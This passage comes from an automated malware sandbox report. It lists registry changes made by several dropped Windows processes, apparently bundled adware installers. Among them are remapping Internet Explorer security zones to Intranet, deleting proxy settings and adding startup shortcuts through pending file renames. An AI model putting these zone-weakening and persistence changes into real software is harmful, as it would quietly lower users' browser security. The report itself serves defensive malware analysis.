"Seed" = "6F AD EA 35 C9 01 7F 3C B9 55 EF 98 F8 B0 F0 D1"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\LocalService\Cookies"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 03 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\LocalService\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files"

The Dropped modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Dropped modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The Dropped modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Dropped deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoConfigURL"
"ProxyServer"

The process FHSev.exe:968 makes changes in the system registry.
The Dropped creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B6 1D 36 16 62 50 F6 16 91 B5 69 20 8E 55 A2 44"

The process AlmDayQuick.exe:2908 makes changes in the system registry.
The Dropped creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B6 20 C5 BF 05 81 00 35 46 8C 00 02 56 AD 90 34"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Favorites" = "%Documents and Settings%\%current user%\Favorites"
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

The process Application Dataypfbyfgmr.tmp:2860 makes changes in the system registry.
The Dropped creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "49 79 74 AA 83 B5 3D B6 46 AE E0 79 9B E1 B5 16"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

The process juese.exe:2488 makes changes in the system registry.
The Dropped creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1404370428"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012014091820140919]
"CacheRepair" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012014091820140919]
"CachePrefix" = ":2014091820140919:"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012014091820140919]
"CacheOptions" = "11"

[HKLM\SOFTWARE\Microsoft\DirectDraw\MostRecentApplication]
"Name" = "juese.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel]
"{871C5380-42A0-1069-A2EA-08002B30309D}" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 26 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Startup" = "%Documents and Settings%\%current user%\Start Menu\Programs\Startup"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E5 03 80 96 1A F7 90 AF 11 E3 A0 B3 65 83 14 4F"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012014091820140919]
"CachePath" = "%USERPROFILE%\Local Settings\History\History.IE5\MSHist012014091820140919\"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012014091820140919]
"CacheLimit" = "8192"

The Dropped modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Dropped modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Dropped modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Dropped deletes the following registry key(s):

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\MSHist012014031720140318]

The Dropped deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process sjss_jing_zhimeng_217.exe:1724 makes changes in the system registry.
The Dropped creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1F 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
"Startup" = "%Documents and Settings%\%current user%\Start Menu\Programs\Startup"
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\速捷搜索]
"Publisher" = "sjss.inc"
"DisplayIcon" = "%Documents and Settings%\%current user%\Local Settings\Application Data\sjss\sjss.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\速捷搜索]
"UninstallString" = "%Documents and Settings%\%current user%\Local Settings\Application Data\sjss\uninstall.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\Local Settings\Application Data\sjss]
"sjss.exe" = "sjss"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "78 05 B4 1C 20 E9 29 1F 71 5D 20 1D 06 4E 5B 9B"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Programs" = "%Documents and Settings%\All Users\Start Menu\Programs"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\速捷搜索]
"DisplayName" = "速捷搜索"

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\%Documents and Settings%\%current user%\Local Settings\Application Data\速捷搜索.lnk, \??\%Documents and Settings%\%current user%\Start Menu\Programs\Startup\速捷搜索.lnk"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\速捷搜索]
"DisplayVersion" = "1.0.0.4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Dropped modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Dropped modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Dropped modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The Dropped deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process sjss.exe:216 makes changes in the system registry.
The Dropped creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "54 D7 00 3C FE 02 4C 47 4F FC 83 5C EC 27 F7 E1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

The process a-zm-157391-v5.exe:2236 makes changes in the system registry.
The Dropped creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\绝色唐门]
"DisplayVersion" = "1.1.0.3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp]
"OfficeAssist.0195.80.1015.exe" = "Kingsoft Install Application"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 27 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
"Startup" = "%Documents and Settings%\%current user%\Start Menu\Programs\Startup"
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\绝色唐门]
"UninstallString" = "%Program Files%\jstm\unist.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\绝色唐门]
"DisplayName" = "绝色唐门"
"Publisher" = ""
"DisplayIcon" = "%Program Files%\jstm\juese.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel]
"{871C5380-42A0-1069-A2EA-08002B30309D}" = "1"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp]
"Almanac_clnh_2014.8.3._126cl.exe" = "今日黄历 安装向导"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "93 F4 52 49 4B A9 DF 4D A4 AB 50 57 F7 8D B6 53"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Dropped modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Dropped modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Dropped modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The Dropped deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process setup_2949-14598.exe:612 makes changes in the system registry.
The Dropped creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "7D BD 41 70 CA FF 35 65 37 34 6F 50 2E BC A6 FB"

The process OfficeAssist.0195.80.1015.exe:1628 makes changes in the system registry.
The Dropped creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B4 0E DE 87 4F 56 E0 DD E4 B5 D1 11 5D 8C 9A DA"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\%Documents and Settings%\%current user%\Local Settings\Application Data\速捷搜索.lnk, \??\%Documents and Settings%\%current user%\Start Menu\Programs\Startup\速捷搜索.lnk, \??\%Documents and Settings%\%current user%\Local Settings\Application Data\速捷搜索.lnk, \??\%Documents and Settings%\%current user%\Start Menu\Programs\Startup\速捷搜索.lnk, \??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\wpsassist\~8c84a\install_res\1.png, , \??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\wpsassist\~8c84a\install_res\10.png, , \??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\wpsassist\~8c84a\install_res\100.png, , \??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\wpsassist\~8c84a\install_res\101.png, , \??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\wpsassist\~8c84a\install_res\102.png, , \??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\wpsassist\~8c84a\install_res\103.png, , \??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\wpsassist\~8c84a\install_res\104.png, , \??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\wpsassist\~8c84a\install_res\11.png, , \??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\wpsassist\~8c84a\install_res\2.jpg, , \??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\wpsassist\~8c84a\install_res\25.png, , \??\C:\DOCUME~1\adm0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

The process OfficeAssist.0195.80.1015.exe:448 makes changes in the system registry.
The Dropped creates and/or sets the following values in system registry:

